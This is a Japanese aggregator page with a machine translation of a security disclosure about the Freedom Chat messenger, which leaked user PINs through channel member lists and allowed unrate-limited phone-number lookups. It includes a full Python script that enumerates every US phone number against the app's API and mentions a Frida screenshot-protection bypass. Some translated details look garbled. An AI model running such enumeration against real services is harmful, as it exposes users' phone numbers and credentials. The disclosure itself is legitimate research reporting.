← 2025-12-16 の一覧へ戻るホーム
“Super secure” messaging app leaks everyone's phone number

2025/12/16 4:23

“Super secure” messaging app leaks everyone's phone number

RSS: https://news.ycombinator.com/rss

元のHacker News記事へ ↗
要約▶

Japanese Translation:

Summary

Freedom Chatは2023年にメタデータのないエンドツーエンド暗号化メッセンジャーとして発表されましたが、実際にはユーザー情報を漏洩させる重大なセキュリティ欠陥があることが判明しました。セキュリティ研究者は次の点を指摘しています：

  • アプリのSeald E2EEは誤って実装されており、メッセージキーは公開情報から導出可能であり、すべての暗号化されたメッセージがオープンなFirebaseバケットにアップロードされるため、トラフィック全体が読み取られます。
  • メッセージは集中型サーバーに保存されており、宣伝されていた分散アーキテクチャと矛盾しています。
  • チャネルの応答には各メンバーの6桁PINが平文で含まれており、デフォルトチャンネルに1,519人のユーザーがいるため、すべてのユーザーのPINが他者全員に公開されます。
  • /user/numbers
    エンドポイントは電話番号を受け付け、レートリミットなしで一致するUIDとSealdキーを返します。これにより攻撃者はすべてのユーザーを列挙できます。北米の全電話番号を一括送信するスクリプトは約1日で全UIDとPINを取得しました。
  • クライアントは 
    FLAG_SECURE
    でスクリーンショットをブロックしますが、Frida（セカンダリな詳細）で無効にできます。

これらの問題を12月9日に修正した後、Freedom Chatはアプリをストアから撤回し、ブランド名を変更して「保守的サークル」をプライバシー懸念の原因と責任転嫁しました。最新情報では、同社は脆弱性を修復し、ウィーン攻撃後に監査手順を追加したと主張していますが、さらなる技術的詳細は提供されていません。

ユーザーは電話番号、PIN、およびメッセージ内容などの個人識別情報がすべてのチャネル参加者に漏洩するリスクがあります。これはプライバシー重視型メッセンジャーサービスへの信頼を損ない、堅牢な暗号化実装の必要性を強調しています。

本文

両者ともにモバイルアプリ開発の経験はありませんでしたが、
「私たちはどちらも頭がいい。これほど難しくないはずだ」と思ったのです。

Freedom Chat CEO タナー・ハース

背景

2023年、Converso という新しい即時メッセージングアプリが登場しました。
「最先端のエンドツーエンド暗号化」「メタデータを収集しない」「サーバを一切使用しない分散型構成」といった大胆な主張で注目を浴びました。
セキュリティ研究者 crnković が逆解析を行うと、以下の事実が判明しました。

  • すべての主張は偽りだった。メタデータは収集されていた。
  • メッセージは第三者の E2EE プロバイダー経由で中央サーバに保存されていた。
  • 暗号化されたメッセージの鍵は公開情報から導出可能で、すべてのメッセージがオープンな Firebase バケットへアップロードされていた。

短期間の更新後、Converso は App Store と Google Play から撤退し「問題点を解決・改善する」旨を発表しました。
CEO のタナー・ハースは自費出版していた書籍の執筆を一時停止し、リブランディングに関するレッスン・リーンブログを書き（プライバシー懸念は主に保守派から来ると主張）、後に crnković の開示に対して曖昧な法的脅迫で応じました。

パート 0 – セットアップ

  1. Google Play から Freedom Chat をダウンロード。
  2. HTTP Toolkit でトラフィックを監視。
  3. アプリは 
    FLAG_SECURE
    でスクリーンショットをブロックしているので、Frida で無効化。
  4. サインアップ：電話番号 → 2FA コード → 任意の PIN（デバイス間復元時に必須）。

メイン UI:

  • チャットペイン – 個別会話を開始。
  • チャンネルペイン – ユーザーが運営するマイクロブログ型チャンネルへ購読（Telegram スタイル）。

パート 1 – 探索

テキストメッセージの送信

POST https://eagle.freedomchat.com/message
Authorization: Bearer <JWT>
{
  "sendId":"bdbf9ef7-aaca-4a57-8c4e-5fe978205299",
  "type":"text",
  "isEncrypted":true,
  ...
}
  • レスポンスには暗号化された Base64 エンコードテキストとメタデータ（既読情報等）が含まれる。
  • Seald E2EE を使用し、今回の送信では Firebase アップロードは行われない。

チャンネル機能

「Freedom Chat」チャンネルを開くと、他のチャンネルが提案される（タナー・ハース本人や保守系インフルエンサーのものも含む）。

パート 2 – すべてのユーザー PIN を漏らす

チャンネルを開くと大量のレスポンスが返ってきます：

POST https://eagle.freedomchat.com/channel?take=1000&skip=0
Authorization: Bearer <JWT>

  • members
    配列に 1519 件のエントリ。
  • 各メンバーオブジェクトには 
    pin
    フィールドがあり、アカウント作成時に設定した 6 桁 PIN が入っている。
  • チャンネルに所属している（デフォルトの Freedom Chat チャンネルを離れていない）全ユーザーは、他のすべてのユーザーの PIN を閲覧できる。

これにより、ログイン PIN の機能が完全に無効化されます。

パート 3 – 連絡先検索（WhatsApp スタイル）

アプリは「連絡先を招待する」オプションを提供します。送信例：

POST https://eagle.freedomchat.com/user/numbers
{
  "numbers":["+13322699625","+13095416781","+16042771111"]
}
  • レスポンスには UID、電話番号、および Seald キーが返る。
  • このエンドポイントはウィーン研究者たちが WhatsApp の調査で悪用したものと同一で、レートリミットは観測されていない。

チャンネル列挙と組み合わせれば、任意の電話番号をその PIN にマッピングできます。

パート 4 – エクスプロイト（列挙スクリプト）

import itertools, pandas as pd, json, requests, datetime, random
from time import sleep

area_codes = [201, 202, … , 989]   # 米国全エリアコードリスト
digits = ("0","1","2","3","4","5","6","7","8","9")

orig_combinations = pd.Series(
    ["".join(x) for x in itertools.product(digits, repeat=7)]
).loc[~orig_combinations.str.startswith("0") & ~orig_combinations.str.startswith("1")]

with open("freedom_enum_log.txt", "w") as logfile:
    random.shuffle(area_codes)
    for ac in area_codes:
        logfile.write(f"Starting area code {ac}\n")
        combinations = ["+1"+str(ac)+c for c in orig_combinations]
        url = "https://eagle.freedomchat.com/user/numbers"
        authToken, refreshToken = "...", "..."

        for i in range(0, 8000000, 40000):
            tranche = combinations[i:i+40000] + ["+13322699625"]
            payload = {"numbers": tranche}
            headers = {
                "accept":"application/json",
                "authorization":f"Bearer {authToken}",
                "content-type":"application/json"
            }

            response = requests.post(url, json=payload, headers=headers)
            if "Unauthorized" in response.text:
                r = requests.post("https://eagle.freedomchat.com/auth/refresh",
                                   json={"refreshToken": refreshToken})
                authToken, refreshToken = r.json()["accessToken"], r.json()["refreshToken"]
                response = requests.post(url, json=payload, headers=headers)

            if response.text.count("uid") != 1:
                logfile.write(response.text+"\n")
            if response.elapsed > datetime.timedelta(seconds=3):
                logfile.write(f"Getting slow! {response.elapsed}\n")
            logfile.flush()

        logfile.write(f"Done area code {ac}\n")
  • 米国の有効電話番号（約 7 百万件/エリアコード）をすべて列挙。
  • 40,000 件＋既知ユーザーをバッチ化し、失敗を検出。
  • uid
    が正確に 1 件含まれないレスポンスをログへ記録。

結果: 約 27 時間でスクリプトは完了し、数千件の UID と電話番号ペアが入ったログが生成されました。リクエスト失敗や 3 秒超過は確認できず、レートリミットが無いことを裏付けています。

タイムライン

日付イベント
2025‑11‑23脆弱性発見
2025‑12‑04Freedom Chat サポート（Zack Whittaker）へ報告
2025‑12‑05Freedom Chat から「PIN は過去メッセージを復元できない」「監査手順を約束」と回答
2025‑12‑09Freedom Chat が問題点を修正したと主張
2025‑12‑11TechCrunch とここで公開

まとめ

Freedom Chat の「安全」メッセージングは、以下の二つの欠陥により実質的に破綻しています。

  1. チャンネルメンバー情報を通じて、すべてのユーザーのログイン PIN を公開している。
  2. レートリミットが無い連絡先検索エンドポイントで電話番号と UID を結び付けられ、PIN と照合できる。

この組み合わせにより PIN 機能は機能不全となり、すべてのユーザー認証情報が漏洩します。

同じ日のほかのニュース

一覧に戻る →

2025/12/16 6:37

Fix HDMI-CEC weirdness with a Raspberry Pi and a $7 cable

## Japanese Translation: > **概要：** > Samsung S95B TV（論理アドレス 0x00）、Denon AVR‑X1700H（0x05）、Apple TV、PS5、Xbox Series X、Nintendo Switch 2、および `/dev/cec0` をリッスンする Raspberry Pi 4 が含まれるホームシアター構成で、テレビの入力にのみ切り替えるコンソールが原因となるオーディオルーティング問題を著者は解決します。 > Pi（論理アドレス 0x01）から AVR に「System Audio Mode Request」パケット（`15:70:00:00`）を送信することで、受信機は ARC を有効化し、すべてのコンソールオーディオをテレビではなく自身経由でルーティングします。 > 著者は Python スクリプト `cec_auto_audio` でこれを実装しており、長時間稼働する `cec-client -d 8` を起動し、TRAFFIC 行から Active Source イベント（オペコード 0x82）を解析し、以前に Set System Audio Mode（オペコード 0x72）が検出されていない場合に毎回ウェイク時にパケットを送信します。 > スクリプトは systemd サービス `cec_auto_audio.service` としてパッケージ化され、起動時に開始されます。これにより、多層の HomeKit/Eve オートメーションと比べて低レイテンシで軽量な代替手段を提供します。 > トラブルシューティングガイドには、スキャン（`echo "scan" | cec-client -s`）、トラフィック監視（`cec-client -m`）、および欠落オペコード（0x82, 0x84, 0x70, 0x72）の良いケースと悪いケースの比較が含まれます。 > 残るエッジケースとして、コンソールのスタンバイがテレビチューナーを起動させる場合や HomeKit オートメーションがアクティブなソースなしでテレビをオンにする場合などには、追加の状態機械ロジックが必要になる可能性があります。著者はコミュニティメンバーに対し、より広範なトラブルシューティングのために CEC パケットトレースを共有してもらうよう呼びかけています。

2025/12/11 8:54

Nature's many attempts to evolve a Nostr

## Japanese Translation: **要約** 人気のあるアプリケーションの普遍的な設計は、ユーザーのデータと暗号鍵を所有する単一クラウドサーバーに集中しています（「あなたの鍵がないなら、あなたのデータではない」）。この中央集権化は封建制や寡占構造を生み出します。サーバーは橋を上げてユーザーを切り離す城のような存在です。フェデレーション（例：Mastodon、Matrix）はサーバー間で通信できるようにしますが、鍵とデータは依然としてサーバーの管理下にあり、ネットワーク理論はそのようなフェデレートシステムがスケールフリー分布へ収束し、支配的なハブを生み出すと予測しています。これはGmail/ProtonMail のメール寡占や Facebook Threads の ActivityPub ノードが Fediverse を支配する現象として観察されています。 セルフホスティングは居住IPの禁止やインフラコストにより多くのユーザーが個人サーバーから離れるため、非実用的になります。ピアツーピアネットワークはユーザー所有鍵を提供しますが、拡張性、信頼できないノード、スーパーpeer の中央集権化、複雑な最終的一致メカニズム、および長い多ホップルーティング遅延に悩まされます。 Nostr プロトコルは「リレーモデル」を提案します。単純で信頼できないリレーは署名されたメッセージを転送するだけで、相互通信しません。これにより \(N^2\) スケーリング問題を回避します。ユーザーは数個（通常 2–10）のリレーユーザーに購読し、自分のデータと鍵を完全に制御でき、リレーが失敗または停止した場合でも信頼性高く離脱できます。広く採用されれば、これはユーザーに真の所有権と単一点障害への耐久性を与え、中央集権サーバーに依存する企業に対し、よりユーザー中心で分散型アーキテクチャとの競争を強いるでしょう。これにより、ソーシャルメディアやメッセージングは真の分散モデルへと再構築される可能性があります。

2025/12/12 15:47

“Are you the one?” is free money

## 日本語訳: --- ## 要約 この記事は、番組「Are You the One?」の参加者が数学モデルを用いて、最終エピソード前にほぼ確実に全ての正しいカップルを推測できる方法を説明しています。戦略的にトゥルーブースとエピソード終了時のマッチアップデータを活用することで達成されます。 - **ゲーム設定**：10人の男性と10人の女性が、色でのみ明らかになる10組の完璧なペアに分けられます。参加者はすべてのペアを正しく推測し、100万ドルを獲得します。 - **情報源**： - *トゥルーブース* は特定のペアが成立しているかどうか（バイナリ結果）を確認します。 - *エピソードマッチアップ* はそのラウンドで正しいペアの総数のみを明らかにします。 「ブラックアウト」エピソード（0件マッチ）は、そのラウンド内のすべてのペアについて否定的な情報を提供し、複数のトゥルーブースと同等の効果があります。 - **モデル**：著者は OR‑Tools の最適化フレームワークを構築し、シーズン開始時に約400万件の有効マッチング（≈4 百万）を追跡し、各イベント後に更新します。シーズン1ではエピソード8でモデルが「解読」されました。 - **情報理論**：各イベントは約1〜1.6ビットの情報量を提供します。シミュレーションでは ~1.23 bits/イベント、実際の番組データでは ~1.39 bits/イベント、最適戦略で最大 1.59 bits/イベントが得られます。全検索空間は約22ビット（10!）を必要とするため、完璧な戦略には平均して約1.1 bits/イベントが十分です。 - **結果**： - ランダムペアリングでは、カップル数に関係なく平均正解スコアは約1になります。 - 100シーズンのランダムシミュレーションでモデルを使用した成功率は74％でしたが、情報理論戦略では98％に上昇します。 - 実際の番組データ（7シーズン）では71％の成功率と約1.39 bits/イベントとなり、純粋なランダムよりわずかに優れていますが、理論的最適値にはまだ届きません。 - **今後の作業**：著者はインタラクティブなウェブツールを開発予定で、ユーザーが異なる戦略を試し、必要な情報ビット数を確認し、実際のデータとパフォーマンスを比較できるようにします。 **影響** 本研究は参加者やプロデューサーに対して効率的な質問設計のための具体的なアルゴリズムフレームワークを提供し、エンターテインメントにおける組合せ最適化とベイズ推論の実用例を示すとともに、研究者にリアルワールドケーススタディとしてさらなる探求の機会を与えます。

“Super secure” messaging app leaks everyone's phone number | そっか～ニュース